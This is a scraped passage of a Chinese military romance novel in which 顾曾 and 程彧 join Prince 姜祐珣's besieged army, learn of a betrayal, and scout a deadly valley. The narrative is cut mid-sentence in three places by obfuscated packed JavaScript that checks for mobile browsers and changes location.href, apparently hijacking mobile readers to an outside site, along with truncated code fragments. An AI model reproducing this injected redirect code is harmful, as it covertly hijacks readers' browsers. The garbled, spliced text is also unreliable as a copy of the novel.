那人这才大笑一声,缓缓从林中探出身来,原是个面容柔和俊朗的年轻人,左右不过二十多岁的年纪,生得一双清冷的丹凤眼。 他踱至顾曾面前,死性不改:“那你再说一遍,你来这是找谁?” 顾曾两眼一掀:“找殿下。” “没良心的东西,”花雨闲笑骂一声,“不找我谁带你去见殿下,指望你旁边这个毛头小子么?” 他眉目萧然,举手投足端雅沉凝,不似寻常人物,想必是伴宸王左右的军中谋士。程彧被他扫来的冰冷视线看得如坐针毡,深知在此人面前不该放肆,揖身一拜:“在下……” “把他给我绑了!” 花雨闲似乎极不耐烦,眉宇微微一皱,随着他一声令下,林中即刻便冲出几个人,七手八脚地就把麻绳往程彧身上套。 “喂!唔……”程彧还没来得及反抗,手脚便不能动了,再然后,眼睛被蒙上,嘴也被堵上了。 “等等!”顾曾急道,“花先生,他是程家二公子,奉陛下之命来寻殿下。” 花雨闲饶有兴致地挑了挑眉,说道:“什么程家、什么二公子,军纪面前人人平等。你自己私闯军营的罪还没清,就忙着替他说话?真以为我扶苍军散漫到容你们随意进出么?” 嘴上说不过他,顾曾只好没好气地心道:“全军上下最散漫的人就是你。” “带走。”花雨闲勾勾手指,下令道。 程彧竭力挣扎,奈何被五花大绑,人没动两下便腾空而起,已被几人合力扛在了肩上。顾曾可不想像他一样被麻绳捆成个蚕蛹,只得乖乖听话,随花雨闲往扶苍军大营走去。 云雾山的山涧中建有石栈,施于绝壁悬崖上,绿岩凿孔,插木为桥,一侧是高耸入云的石山,一侧是深不见底的幽谷,一步踏错,万劫不复。 程彧看不见,自是不知其中凶险,倒是免了这苦楚。顾曾在石栈上手脚并用地向上爬着,一双耳朵已然冻得发红,却一步也不敢停。 被洗过的天空湛蓝无垠,月色极盛,把万物镀上了一层银白色的霜。 这就般不知走了多久,眼前终于出现了一排排规整的营帐,放眼望去,几乎看不到尽头——她苦苦寻觅多日的扶苍军大营,就在此地。 —— 花雨闲扛着人上来时,郭翩正在马厩里给马添饲料。 “日子不好过啊。”郭将军叹了口气。他十几年来费了多少心神驯的良马,因为水土不服折了一大半,直心疼得他天天耷拉个脸,谁见了都得退避三舍。 花雨闲倒是心情不错,扬声:“郭大将军,忙着呢?” 身为宸王左副将的郭将军头也没回,听脚步声便知是花雨闲这个贱兮兮的家伙走近,说道:“回来这么晚,花大军师又抓到探子了?” “可不是么,”花雨闲干笑了两声,“还一抓抓了俩呢,你不来瞧瞧?” 郭翩“哦”了一声,没多大兴趣陪花雨闲审探子,他还是更在意他的马。 花雨闲见他兴致缺缺,遂附在他耳边,煞有其事道:“其中还有个姑娘,专程来找你的。” “啥玩意?”郭翩一听,堂堂八尺男儿吓得双腿一软,“云雾山她也敢来啊?让她赶紧回去。” 眼瞅着郭将军就要收拾行囊跑路,一旁看不下去的顾曾朗声道:“郭翩将军,殿下可还安好?” 郭翩本来都吓得汗如雨下了,抬眼看到是她,这才吁了口气,咆哮着一拳抡向花雨闲:“你小子活得不耐烦了就直说,老子赏你个痛快。” 花雨闲轻巧躲过他开天辟地的一拳,笑嘻嘻道:“我又没说是褚姑娘,是你自己天天念着人家才想错了,反倒怨起我来了。” 郭翩远比花雨闲靠谱,这种场合也不跟他多计较,只沉沉咽下这口气,对顾曾道:“你来找殿下么?他在帅帐,跟我来,带你去见他。” “多谢将军,但在那之前……”顾曾撇嘴瞧了眼旁边半死不活的程彧,无奈道,“能不能先请将军把他放了?” 郭翩走近一看,看到那张熟悉得很的脸,顿时下巴惊掉一地:“程容与?!你来做什么?”郭将军是大好人,三下五除二拆了程彧满身的麻绳和废布条,大手落在他头顶揉了揉,又在他脸上轻拍几下,“喂,程容与,醒醒别睡了。” “小侯爷安好……”程彧迷离地睁开眼。他在路上被人倒扛着颠了一路,眼冒金星,胃里翻江倒海,差点就要吐了。 “你小子!”郭翩恶狠狠瞧向一旁事不关己的花雨闲,“故意的是吧?” 花雨闲慢悠悠道:“哎呦,阿曾一肚子坏水,我以为她诓我呢,原来真是程家二公子,多有得罪。” 郭翩:“就该让殿下赏你一顿板子,你才能老实。” “翩翩想赏谁板子,说与我听听?”此刻,有一人从不远处的帅帐中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186693|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褰帘而出,声音清冽含笑。 围观看笑话的士兵们顿时立直了身子,胸膛绷得笔挺,接二连三行礼:“参见殿下。” 程彧朦朦胧胧间看到个人影走近,闻音陡然睁大了眼,原来这便是大昭尊贵的宸亲王殿下,姜祐珣。 他只知宸王姜祐珣年纪轻轻便战功赫赫,可没料到他竟是这样年轻的一个美男子。 来人二十出头的年纪,一身赤甲玄羽的戎装,胸口绣了只招展的猎鹰,背后长袍猎猎而扬。奇的是,他虽然面覆尘霜,眸间却寒星难掩、极其明亮,明明正含着笑,神色也有柔和的书卷气,整体观来却透着的罕见的矜贵孤傲,想来是命格中的天潢贵胄罢。 宸王太俊美了,俊到让程二公子第一次感到自惭形秽。 郭翩指着花雨闲:“就是这个成日里好生是非的狗东西,殿下,你快把他丢回雍州罢,我的马再看他一眼都得多拉三天肚子。” 花雨闲却嘚瑟地晃悠到姜祐珣面前:“殿下,瞧我给你带谁来了?” 姜祐珣探头一看,登时笑意盈盈:“阿曾,你怎么来了?” 几年未见了,他却依然一眼就认出了她。这孩子似乎又长高了一截,整个人出落得纤长高挑,眉眼也褪去了少女的稚气,更加英气凌厉,俨然已是个征战四方的将军模样。 顾曾其实心里还没准备好见他,怕他怪罪自己莽撞,此刻更是紧张得话都说不出来,磕磕绊绊许久才蹦出几个字:“姜、姜旬……” 直到她听到身侧的程彧小声嘟囔了句“眼睛都要贴别人身上去了”,才回过神来,拜道:“参见殿下,不知殿下可还安好?” “嗯……不怎么好。”姜祐珣浅浅笑道,“仗打了这么久还没有大获全胜,能好到哪里去呢?京城那边想必也是这么想的罢,程二公子?” 程彧见他望来,奇道:“小王爷认识我?” 姜祐珣笑道:“眉如墨画,面如桃瓣,顾盼神飞,世无其二。我曾在去年的仲秋宴上见过你一次,实在是入目难忘。” 程彧不自然地提起眉梢,叫他说得有些害臊,况且,他怎么不记得去年的仲秋宴上有宸王在?若是有姜祐珣这般人物,他怎么也不会忘记的。 他心中所想尽数写在了脸上,姜祐珣笑道:“去年我只是回京述职,陛下没空见我,便叫季公公递了个折子就赶路回了雍州,仲秋宴也只是远远看了一眼,你自是对我没有印象。” 花雨闲在一旁冷笑:“咱们殿下倒是夙兴夜寐,也不知道让京城里的谁得了好处。” 程彧神色更加不自然了,仲秋本该是家宴,姜祐珣堂堂亲王,陛下的亲侄子,因为事务繁忙都没能来得及坐下喝杯茶,他一个外臣之子反倒在宴席上大放异彩,实在是……心生惭愧。 姜祐珣摇了摇头,道:“是我自己不喜人多,你莫要多想。” “好、好罢,小王爷,幸会。”程彧讪讪行了个礼,眼神瞥向身旁的顾曾,不由得又小声嘀咕道,“怎么还看啊……有比我好看那么多么?” 姜祐珣莞尔,拍了拍他的肩,温言道:“容与,阿曾,你们不会无缘无故找我,定有要事罢?谁先说?” 顾曾正要应声,只见程彧干巴巴笑了一声:“不然还是我先说罢……” 他往怀中一探,扯出了个奇形怪状的物什,又从他那囊括万物的袖袋中抽出个一尺长镀着金边的布帛。 姜祐珣和郭翩登时神色一变,竟齐齐跪下,身后的将士们立刻跟着沥沥拉拉跪了一地,连花雨闲都不情不愿屈下膝来。 顾曾茫然,也打算跟着下跪,程彧倏然拦下她,正色道:“阿曾,你不用跪,这旨意是下给扶苍军的。” 12.狼烟 顾曾大惊,定睛一看,才发现他左手所持竟是专为下达军情所用的圣旨,而右手那小巧的玩意儿竟是虎符! 这家伙身上装了这俩玩意还敢一路招猫逗狗,片刻都不安分,陛下也真是心宽,才能放心把这个活交给他来做…… 程彧摊开圣旨,朗声念了一遍,除了些什么“朕继位十四年有余,夙兴夜寐,未敢有半分懈怠”之类的不痛不痒的话,大意便是令宸王撤兵,立刻班师回朝。 姜祐珣接了旨,神色松动,对程彧释然一笑:“容与,多谢你,此番辛苦了。” 这场仗打了太久,姜祐珣身在其中,也深知其中利害——若再打下去,扶苍军这把最利的刀就不是被磨钝这么简单的事了,怕是要折断在这西南的烟瘴丛林中。 主帅心疼自己的家底,撤军自然是欣喜,可副将郭翩就没那么开心了:“殿下,若就这么回去,到了京城你定要受御史台那帮老东西不少的窝囊气。” 这种时候,郭将军倒不在意自己那些马驹的死活了。 姜祐珣叹了口气,勉力笑道:“兵来将挡水来土掩吧,总比饿死在这强,传令下去,收营撤军。” “等等,‘饿死’?”程彧脸色一变,悚然道,“西南天府之地,铸光军也一直在向此地运输辎重,何来饿死将士一说?” 姜祐珣等人沉默不语,只有顾曾无奈对他扯了扯嘴角:“二公子总算意识到问题所在了啊。” 甫一踏入这大营,她便意识到不对劲了。 这里死气沉沉,毫无生机,即便所有人都佯装打起精神,脸上却泛着一股掩不住的青黑倦色,仿佛一群八辈子没吃饱饭的饿死鬼在林间游荡。即便是宸王姜祐珣本尊也不似以前那般意气风发,残存的只有无尽的疲态。 她猜想的果然不错,安宁军怕是别有用心,不仅没有把矛头对准楚人,反倒过河拆桥,撤了前线应有的补给,妄图把扶苍军困死在这云雾山上! 宸王和他手下的兵再是什么虎狼之师,那也是人,是人就要吃饭,没饭吃就没力气打仗。 还好有程彧携着圣旨来了。 仗没打赢,但好歹可以保住这群人的性命。 皇帝下这道旨意,难道是已经看清西南的局势,才特意派程二而不是一个普通的传信士卒来此么?若真是如此,回京之后要倒霉的是宸王还是安宁侯还说不准呢。 所有人之中,郭翩的脸色最难看。即便他不想承认,他爹安宁侯这个罪魁祸首的帽子也摘不掉。 在这当口,郭翩突然单膝跪地:“殿下,千错万错,都是属下领兵不当,这才误了战机……” “郭翩翩你听听你这说的什么屁话?”花雨闲冷笑一声,“你是你爹的好儿子,可他朝咱们殿下下手的时候可曾想过你也在这山上?他可管过你的死活?你如今替他说话,难不成还是要殿下看在与你的情谊上饶过他?你一人的面子能抵过那么多枉死的兄弟的命么?” “好了,别说了。”姜祐珣听不下去了,转身便走,“郭翩,你也起来,跪着也没用。” 郭翩心里一惊,他和姜祐珣从小一起长大,深知他的脾性——宸王殿下鲜少说重话,而一旦说了,那便当真是要认真计较的。 姜祐珣在西北无往不利,何曾受过这等掣肘?他面子上再怎么波澜不惊,靠赫赫军功厮杀出来的将军,也不会这就般任人宰割。 对于郭翩来说,这条路他怎么走都注定不会顺的,不忠和不孝两个罪名必定有一个要落在他的头上,而他却没有自己选的余地。 花雨闲收工晚,伙夫给他们加了顿餐。名曰加餐,实则就是煮了一锅稀得能照见人影的米汤。 顾曾捧着那粥碗正围着火暖手,花雨闲趺坐在她身侧,笑道:“小鬼,上次叫你读的《六韬》和《三略》悟得如何了?” 顾曾咽下一口汤水,从口中哈出一团白雾,面无表情道:“三年前留的课业,现在才来问是不是有点太晚了?” 花雨闲慢吞吞叹了口气,做心碎状:“果然是女大不中留,及笄后连老师也不认了。” “认,自然认,一辈子都认!”顾曾最烦他这欠嗖嗖讨打的模样,也自有对付他的方法,扬手搭在他脖颈处,扬了扬眉梢,“学生给先生您捏捏肩可好?” “别别,你那手劲,饶过我吧……”花雨闲直往后躲,被她一把捏住经筋,发出一声蔫了吧唧的惨叫,“疼疼疼,没轻没重的,你轻点!” 疼是真疼,但他脸上笑得倒是挺欢的,全然没留意到身后不远处一双幽怨的眼神。 程彧因为和姜祐珣多聊了几句没抢到顾曾身边的位置,只能坐在另一团篝火旁看着对面的大哥抠牙缝,心情正无比郁闷,又见到她一反常态,竟然和花雨闲打闹,更是气得连汤都喝不下了。 郭翩路过他时,程彧的肚子正好发出一声求救的哀嚎,郭将军遂停下脚步,如贴心大哥一样宽慰道:“吃不惯罢?先凑合两天,咱们马上就下山了。” 程彧痴愣愣应了一声,没动。 “看什么呢?”郭翩顺着他的眼神望去,恍然大悟道,“哦我懂了。” 程彧后背汗毛直竖,紧张道:“小侯爷你……你懂什么了?” 郭翩拍拍他的肩:“你是不是也觉得花雨闲那厮吵得令人头发昏?” “……是,是挺吵的。”程彧松了口气,有一搭没一搭问道,“花先生是阿……顾将军的老师?” 郭翩算是点头地点点头:“顾曾还小的时候,殿下每年都会派花雨闲去看她,给她带点新奇玩意,顺便教她点兵法、治军之术之类的罢,一来二去,就算认他做师傅了。这小子运气也是当真好,有了这徒弟,这辈子吃喝都不用愁了,真叫人羡慕呐。” 程彧眄他一眼,心道:“身为侯府世子的你说这话不怕遭天谴么?” 他天生明快的脸上仍带着一丝颓然,含了口米汤,囫囵问道:“小王爷干什么对顾将军的事这么上心?她有什么特别的么?” “嗐,你说这个啊,”郭翩摆摆手,道,“因为我们殿下打小就中意她,想要娶她做王妃呗。” 程彧差点被口中的米汤呛死在这,觉得自己就多余问这么一嘴,自说自话:“一个、两个……说罢,还要有多少?” 郭翩:“你数什么呢?” 程彧诚恳道:“想要暗杀的对象。” “嘶……”郭翩一把大手落在他头顶,几下就把他头顶揉成乱糟糟的鸡窝,笑道,“小小年纪不想点好的,净想些苦大仇深。” 程彧心里本就一团乱麻,还要受他摧残,简直是……倒霉透了!当下只捂着脑袋哀嚎:“小侯爷,停手,别揉了!你……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199971|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >话说到一半,大地于此时突然颤了起来,篝火旁的小石头不安地跃动,火星子噼里啪啦往外溅,随后一声巨响。 砰—— 所有人皆应声而起,朝那声响方向望去。只见远处的山涧处逐渐升起一团大火,没过多久就烧成了一条火红的长龙。 顾曾突然就想起了那日被贺向笛一把火烧个精光的十六洞寨。 好在刚下过雨,火势并未向他们这里蔓延,而是很快化为了一团浓重的黑烟,就像是什么……信号。 思及此处,顾曾悚然一惊:“殿下呢?!” 花雨闲也眯了眯眼,眸子沉得如一滩黑水,从牙缝里挤出几个凉飕飕的字:“……这帮混蛋居然敢勾结楚人。” 姜祐珣从帅帐闻声赶来,瞧向浓烟的方向,问道:“那边是……?” 顾曾忧心忡忡看他一眼:“西阆雪山,我和二公子刚从那里上来。也就是说,安宁军把下山唯一的一条官道给炸了。” 花雨闲立刻接道:“楚人看到狼烟必定全力反扑,殿下,我们在这里耗是耗不过他们的,必须立即下山。” 姜祐珣颔首:“从北方的小路撤军可行么?” “使不得!”程彧从一旁蹿过来插话,“我来时遇到安宁军在那边修筑工事,想来不是为了对付楚人,而是……” 而是为了埋伏走投无路的宸王的。 浓烟飘近了,空气中弥散着一触即发的硝烟味。 “混账东西,”花雨闲忿忿骂道,“安宁侯这个狗贼……” “花先生。”姜祐珣瞥了眼一旁垂头不语的郭翩,对花雨闲摇了摇头。 “翩翩,”他走到郭翩身旁,轻轻掴了两下他的后背,说道,“你先传令下去,命全军即刻拔营从南地下山,楚人很快就会来,你领隼前卫殿后。” 郭翩灰蒙蒙的眼中总算多了分神采,大声应了句“是”便去整兵了。 花雨闲道:“殿下,南边不行,南边有……” “蝴蝶谷。”顾曾冷冷接话道,“不能去。” 程彧见她脸色不妙,弱弱试探道:“蝴蝶谷是什么地方?” 顾曾沉下口气,说道:“前上将军傅将的兵败之地,密林遮天蔽日,瘴气横生,是兵家险地。” 她那个福大命大的爹,若不是在此战丢了全军主力,也不至后来溃败如山倒,落得个拔剑自刎的下场。 花雨闲将手搭在她肩头,恰如一堵坚实的后盾,附道:“迷阵般的密林是一点,那里还是羌人的地盘,殿下,咱们去不得。” 程彧心里咯噔一下,羌人……就是那群差点把他头皮削掉的家伙,那的确去不得。 姜祐珣垂眸,略加沉吟,坚持道:“安宁军此次下手决绝,北边必定有重兵埋伏,去了便是自投罗网,只能向南搏一搏出路。” 远远的,众人似乎听到了楚人大军的喊杀声正在逐步靠近,也没有多少犹豫的时间了。 “花先生,你熟悉地形,带人去开道,我和翩翩去迎战。”姜祐珣的语气明显急了,他是神行将军,可是还从来没打过这么仓促又毫无底气的仗。 可是他得打,他得赢,这全军上下都得靠他活命,就算是倒,他也得看着别人都好好的,才能心安理得地倒下。 他一手一个,拉住顾曾和程彧,推到花雨闲面前。 13.仓皇 花雨闲气极反笑:“殿下这是做什么,托孤么?” 姜祐珣微微一拜:“他们两个拼死传递情报,不该和扶苍军一同长眠此地,还请先生照顾好他们,保他们安然无恙。” 他这话不说则以,一说出来,顾曾登时不干了,反身挣开他的手,喝道:“姜旬,你要做什么?和楚人打到死么?” 姜祐珣看向身后,温润的眸中倏然升起凛凛杀意,冷冷道:“生死有命,两权之下,我还是更想要楚人有来无回。” 他倏地抬眼一笑,在自己脸颊上轻轻刮了刮:“我们这些做将军的可丢不起临阵脱逃这个脸,你说对么?” 顾曾一点也笑不出来,但无言辩驳。“将军”二字有千斤重,一直压在他们肩上,时常令人喘不来气。 她最清楚宸王是如何一步步走到现在的,他十二岁请缨西北,从谁也不听他的光杆将军变成如今说一不二的护国柱石,其间辛酸,旁人不懂,她却最明白。 她笑不出来,可还是尽力笑道:“姜旬,这么多年才见你一次,可别就这么轻易死了,不然我可是要瞧不起你。” 姜祐珣接过侍卫递来的马缰,翻身上马,笑道:“还没看咱们顾大将军扬名四海、纵横九州,我就是死也难以瞑目呐。” “……”顾曾瞪他一眼,心道,“说了还不如不说。” 姜祐珣纵马而去,忽然又回首浅浅一笑,神采飞扬,清澈明朗:“所以,小鬼,本王答应你,不会死的——” 西北三军近乎所有人,栉风沐雨十余载,卧雪眠霜不归乡。 程彧望着宸王远去的背影,快要把嘴唇咬出血来,心中五味杂陈——少年将军,是否就该是这个模样? 他是第一次,那么、那么的妒忌一个人。 有的人生长在沙场,天生就有一身的豪气干云,镇日金戈铁马,气吞万里如虎,何等恣意潇洒?再得一人常伴左右,与自己共赴沙场同生死,此身就这样了却,又何尝不可?而不是像他如今这般,活得人不人、鬼不鬼,连渴望那人注视一眼都成了无望的奢求。 他时常在想,若自己也是个将军就好了,那一定不会输给任何人。 花雨闲重重叹了口气,没有要管程彧的意思,只扯了扯顾曾:“和我走,你一会儿跟着……” “我不去。”顾曾摇头,欠身道,“先生,请准我去蝴蝶谷探路。” 花雨闲面色一沉:“你别闹。” 顾曾正色道:“我没闹,我脚力比大部队快,肯定能先你们一步到,就让我进去探一探路,也好过你们在里面乱兜圈子。你别忘了,我可是铸光军的堪舆师。” 花雨闲没什么耐心:“知道你是了,但这高山密林和你们渭城那大沙漠能相提并论吗?” 顾曾和他相处的时间不短,知道他是个说不通也不听别人说的犟种,正巧,她也没什么耐心,气鼓鼓地转身便走:“算了,不用你管,先生告辞。” 花雨闲气得吹胡子瞪眼,但也知道,她这脾气上来了没人能劝动,兴许姜祐珣能说动她一二,奈何宸王殿下现在已经去临场杀敌了,而他自己还要忙着安排撤军之事,哪有功夫全心全意照料她。 “随你便罢!”花雨闲对她的背影喊道,“切记,死了的话可别回头在梦里找我哭。” 顾曾没停下脚步:“不劳您费心,要哭也不找你。” 花雨闲被她噎这一口,心情更差了,连白眼都懒得分给程彧,半个字都没说,径直去寻了手下的百户。 程彧的脑子大概是被郭翩揉成了一团浆糊,只知周围纷纷扰扰,却有种不知所云又不知所处的茫然,好在有一点他是听懂了的——顾大将军要去那个劳什子的蝴蝶谷探路。 程二公子即刻放下心底那些不甘与落寞,朝着顾曾的方向跑去:“阿曾,你等等我!我与你同去!” 已是亥时。 天上乌云密布,不见繁星,唯有月光撕破阴云一道口子,悄悄漏给山上人一点光亮。 众所周知,几百里开外有阆州的万家灯火,更亮更诱人,可惜中间有崇山相隔,没人能看见。 先前牺牲的士卒遗体还未来得及安顿,流着血和泪的战士又提刀奔赴了前线。 云雾山仿佛成了昭人永远无法迈过的劫数,无数的精兵良将丧命于此,英灵也好,棋子也罢,皆数埋骨青山。 顾曾一点不客气地钻进姜祐珣的帅帐,拆家式地寻摸了个罗盘,甫一出门,恰好遇到两个兵士正往营边的一个简易木棚挪尸体——他们不忍战友曝尸荒野,开始大规模焚烧尸身。 那具躯体的主人也许刚咽气不久,嘴唇微启,眼珠涣散,清秀面容上的血迹已成黑色。他的胸口上仍有十余支箭簇未来得及拔下,腰上粘连半挂着一把狰狞的狼刀,清瘦的身躯几乎被斩为两半。 这是个年轻人,是那种家里人还会为他年纪轻轻就加入了前途无量的宸王麾下而骄傲的……那么年轻的一个少年。 随意搭就的木棚中,彼时鲜活的生命化作幽幽青烟,化作一抔白灰,重归于山川。 在军中这么多年,顾曾并非第一次见到此情此景,可每一次见到,都仿佛重回第一次。 那时,她爹捂着她眼睛,不断重复着一句话:“囡囡,没事的,没事的……”可他自己说着说着却掉下泪来。 她透过老爹的指缝,看着裹着白布的娘亲与其他人一起消失在扑天大火中。从那之后,她再想见娘亲,就只能仰头看星星了。 这一夜,兵荒马乱,星月明灭,所有人都仓皇地做着归乡的梦。 顾曾双手合十低声念了句什么,用手随意抹了把脸,便转过了视线,脚步再也不停留。 她足下生风,如飞燕一般越过防御工事,朝蝴蝶谷的方向狂奔,胸中卯了好长好长一口气呼不出,只能靠一刻不停的前行来抚平心绪,似乎只要在奔跑,她便能忘记故人的脸。 程彧不管不顾跟在她身后,累得气喘吁吁,可他不敢放她一人独行,咬着牙也跟得死死的。 二人一前一后走了很长一段,直到身后嘈杂的战场已逐渐模糊,顾曾终于回过身来,青白分明地瞪他一眼,喝道:“跟着我干什么,找死么?” 她胸中躁气翻腾,心道:“难不成真以为自己是来西南出游的么?真是娇生惯养的不知死活。” 西南险峻,阆州倒还好说,再往深处至这烟瘴丛林中,遍地毒虫猛兽,还有敌人的大军伺机潜伏。天险之中尤以这蝴蝶谷为甚,虽名“蝴蝶”,却一只蝴蝶也生不出,有的只有比人脸还大的蝙蝠。 相传这里曾有一小村落,村中之人皆习巫蛊之术,被大昭的开国皇帝铁蹄踏平后命案频发,成了不折不扣的凶地。再后来,边境百年动荡,这里便成了两境丢弃尸体的古乱葬岗,直至尸体填满了整座山谷,邪祟频生,这里才渐渐荒废。 九死一生之地,程彧这种贵公子哥非要跟着她来这里,除了找死,顾曾想不出别的理由。 她的脸色黑得像一滩浓墨,冷冷道:“你从北面下山,祭出你装疯卖傻的绝活,装作误打误撞什么都不知道,安宁军看在你爷爷的面子上不会为难你的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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越往里走,越觉得要被这鬼打墙一样的林子吸入腹中。顾曾喊了停,掏出罗盘在掌心拨弄。 程彧见她面色凝重,手下也愈发焦躁,温言道:“阿曾,当局者迷,切忌一叶障目。未知之事你少想,只需走好当下的路。” 顾曾握拳敲了两下自己的额头,已是无比的烦躁,掀他一个白眼道:“当下无路可走,睿智的二公子请说该怎么办?” 言下之意,请他少站着说话不腰疼。 她蹲下身来,借着残存的月色开始在地上写写画画。罗盘不顶用,指针一刻不停地乱转,片刻不安稳,他们怕是已经走到蝴蝶谷的地界了。 这里是一座天然的五行八卦阵,不得生门,寻不出路。 顾曾心知肚明,是内心那点微末的恐惧令她如此不安,可她几乎是下意识地不停去想:当年她爹身旁那么多精于奇门遁甲之术的能人异士,还不是折在了这里,如今她身边可只有一个半吊子程彧,能行吗? 她又想了想自己对花雨闲夸下的海口,定了定心神——不行也得行! 入夜后的寒气仿佛要侵蚀进五脏六腑,叱咤风云的顾将军蹲在地上也不过就是小小一团,冻得直打哆嗦,好在她忙活了许久终于有了些眉目。 此时,程彧却蓦地攥住了她的手腕,手上一用力,即刻把她拽起身来。 顾曾脸上一阵掩也掩不住的愠怒:“程容与,你又做什么?” 程彧的掌心温热,对她咧嘴笑笑,往一侧偏头:“阿曾,往这边走,这边有山风。” 顾曾暗暗纳罕,他指的不就是她刚刚猜测的生门的方向么?这小子,难不成天赋异禀? 14.谷底 直觉告诉顾曾,该跟着程彧走。 二人携手踏进密林深处,待转过几个弯,便连来时路也看不到了。 繁茂的枝叶黑压压地遮天蔽日,顾曾闭了眼,心中默念了几句心经,稍稍平静些许,这才感受到程彧口中的山风扑面而来,在一团浊污阴郁的瘴气中显得醒目又清冽。 看来她先前当真是深陷心魔难以自拔,才会忽略如此明显的生门痕迹,只得不甘地叹了口气,心道:“也许今天是该躲在别人身后歇一歇。” 可是天不遂人愿,难得顾将军今日想给自己放个假,鸦雀寂寂的密林深处却响起一阵栖栖遑遑的沙沙声。 “等等。”顾曾手上一紧,拦住程彧,几不可闻道,“有人来了。” “哪个方向?”程彧全神贯注追着那阵风,倒没怎么留心周围动向。 顾曾:“四面八方。” 程彧:“……” 顾曾旋身倚住他后背,说道:“打起来注意分寸,走散了我可不知去哪捡你。” 昏暗中,程彧轻轻一笑:“阿曾,谁说我会打了?我可是娇弱不能自理的二公子,你得保护我。” 顾曾重重肘了他一下:“少装孙子,你当我是笨蛋么?” 程彧低笑几声:“阿曾,等此间事了,你随我回京城罢,我请你吃最贵的馆子。” “闭嘴。”顾曾从后槽牙挤出一句,“留心四周。” 来人不少,伸手不见五指的漆黑中,先是一股浓重的浊气逼近,再是紊乱的脚步声,最后才是来人手上亮起的星星点点的火把。 也不知这群人在这蝴蝶谷中被困了多久,身上的甲胄已被磨得看不出本来的颜色,个个披头散发、双眼凸起,神智看起来也有些失常。 顾曾定睛一看,冷笑道:“是楚人。二公子,这次随便你杀,我可当作什么都没看见。” “遵命,将军大人。”程彧手腕一震,两把冰凉刺骨的流纹刃已滑落至他掌心。 程彧脸上的笑意压都压不住,心道,虽然他当不了将军,上不了战场,但他可以和顾曾并肩作战,似乎也没什么不好的。 顾曾歪了歪头:“怎么不用你那佩剑?” 程彧笑道:“这就是个摆设,哪能真拿来用?” 顾曾无声地白他一眼,心道:“知道是花架子还随身带着充门面,真是至死都改不了纨绔本性。” 楚人见到二人,俱是大喜,也不待双方叫阵,口中一阵叽里呱啦的“嗬嗬”之音,便抡着大刀砍了上来。 耳畔疾风呼啸盘桓,瘴气混合着铁刀上的腥锈味随风而来。 顾曾如今眼前只有敌人,反倒豁然开朗,心境前所未有的平和,待看清对方攻势后,一声轻咤,长刀如月下明镜,电光石火间便料理了一地楚人。 她抬了抬眉梢,看向程彧那方,颇有余力地笑道:“这些人在此处困了太久,战力不足平时三成,二公子再不麻利解决,可是要被我瞧不起了。” 程彧平日不用这双刃,手法不够娴熟,方才也一直藏拙,观察敌人攻势,但顾曾既出言相激,他便不得不再认真些了。 于他而言,被顾将军瞧不起,那可是顶顶要命的大事! 流纹刃是世间罕有的神兵,不仅削铁如泥,暗夜中还泛出丝丝冷光,映照出他眼中森森寒气。 他腕间一转,短刃脱手而飞,贴着一人喉管擦过,几乎没挨到那人身子。那人暗叫一声“好险”,还没回过神来,脖子蓦地一软,竟已被看不见的刀锋斩成了两半。 楚人行动笨拙,不是二人合力的对手,不消片刻,地上已横七竖八躺满了人,血腥气蒸腾而起。 程彧正要送最后一个上路,却见那人面色惊恐,口中不清不楚喊了两句什么,下一刻,竟一把从地上捞起个大活人! 那是个纤弱的少年,身披了件不合身的暗纹绣袍,头戴着一顶方正硕大的布帽,被五花大绑给人做了肉盾也不见惊慌,只平静地抬起明亮如锋的一双眼。 顾曾拦下程彧,作唇语道:“羌人。” 二人不敢轻举妄动,那楚人掐着这羌族少年的后颈,手指来回把四人指了一遍,叽哩哇啦叫个不停。 程彧对他喊道:“说什么鸟语呢,小爷听不懂。” 顾曾沉吟道:“可能是在说,如果我们两个不让他离开,他就杀了那孩子。” 程彧嗤的一声冷笑:“小爷我最讨厌受人威胁。” 他和顾曾交换了个眼神,径直走到楚人面前,把流纹刃搁在手中掂着把玩,挑眉道:“想要活命对吧?” 那楚人想是没听懂,见他走近,登时大骇,横起刀就架在那羌族少年的颈上,口中呜嚷呜嚷叫得更大声了。 程彧遂把刀刃收回袖中,对他摆了摆空空如也的双手,笑得十分不像好人:“行行行,饶你饶你。把人放下,滚吧。” 楚人战战兢兢揪着那少年衣领,一步一步往后退,待到离程彧十步之遥,骤然加速,手中却没放开那少年。 “程容与,蹲下!”顾曾一声暴喝,程彧即刻应声而倒。 她的横刀化为一道不见形迹的风刃,层层残光闪过,远处的榕树处只响起了一声闷哼。 顾曾上前从树上拔下自己的刀,给那少年松了绑。 走近细看才发现,这少年身量颀长,比她还高出一截,已然是十四、五的大孩子,只是身形过于羸弱,适才被绑成一团时才显得犹为稚嫩。 羌族少年低着头,像根木头似的一言不发。他的脸色苍白似雪,眉目漆黑如炭,稚气未脱的脸上已难掩清逸俊秀,再长开些怕又是一个祸国倾城的妖物。 为什么是“又”?顾曾抿了抿嘴,不自然地扫了程彧一眼,心道:“因为这里已经有一个玉面魔君了。” 